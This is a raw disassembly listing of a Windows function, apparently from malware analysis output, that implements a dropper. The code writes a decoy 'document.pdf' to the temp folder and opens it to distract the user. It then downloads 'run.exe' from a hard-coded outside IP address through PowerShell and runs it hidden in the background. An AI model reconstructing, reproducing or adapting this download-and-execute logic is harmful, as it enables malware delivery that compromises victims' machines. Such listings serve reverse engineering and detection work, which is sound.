Function at 0x4021e2
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xc0], xmm6
movaps xmmword [rbp + 0xd0], xmm7
movaps xmmword [rbp + 0xe0], xmm8
movaps xmmword [rbp + 0xf0], xmm9
movaps xmmword [rbp + 0x100], xmm10
movaps xmmword [rbp + 0x110], xmm11
movaps xmmword [rbp + 0x120], xmm12
movaps xmmword [rbp + 0x130], xmm13
movaps xmmword [rbp + 0x140], xmm14
movaps xmmword [rbp + 0x150], xmm15
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x10], rax
lea rax, [0x004f9218]
mov qword [rbp - 8], rax
mov rax, rbp
lea rbx, [rbp + 0xc0]
mov qword [rax], rbx
lea rdx, [0x0040251a]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg._Unwind_SjLj_Register
call sym.__main
lea rax, [rbp + 0x30]
mov dword [rbp - 0x38], 1
mov rcx, rax
call sym.GetTempDirectory_abi:cxx11___
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x30]
mov dword [rbp - 0x38], 2
lea r8, str.document.pdf
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0xb7]
mov rcx, rax
call fcn.0046b4d0
lea rdx, [rbp + 0xb7]
lea rax, [rbp + 0x70]
mov dword [rbp - 0x38], 3
mov r8, rdx
lea rdx, str.http:__185.208.158.169:8000_run.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xb7]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x30]
mov dword [rbp - 0x38], 4
lea r8, str.run.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov dword [rbp - 0x38], 5
lea rdx, str.Extracting_embedded_document...
mov rcx, qword [0x004e4150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.ExtractEmbeddedDocument_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, str.Opening_document...
mov rcx, qword [0x004e4150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, str.Downloading_run.exe...
mov rcx, qword [0x004e4150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.DownloadFileWithPowerShell_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, str.Executing_run.exe_in_the_background...
mov rcx, qword [0x004e4150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.ExecuteFileHidden_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, 0
mov dword [rbp + 0x28], eax
jmp 0x4025f6
lea rax, [rbp - 0x40]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
mov eax, dword [rbp + 0x28]
movaps xmm6, xmmword [rbp + 0xc0]
movaps xmm7, xmmword [rbp + 0xd0]
movaps xmm8, xmmword [rbp + 0xe0]
movaps xmm9, xmmword [rbp + 0xf0]
movaps xmm10, xmmword [rbp + 0x100]
movaps xmm11, xmmword [rbp + 0x110]
movaps xmm12, xmmword [rbp + 0x120]
movaps xmm13, xmmword [rbp + 0x130]
movaps xmm14, xmmword [rbp + 0x140]
movaps xmm15, xmmword [rbp + 0x150]
add rsp, 0x1e8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret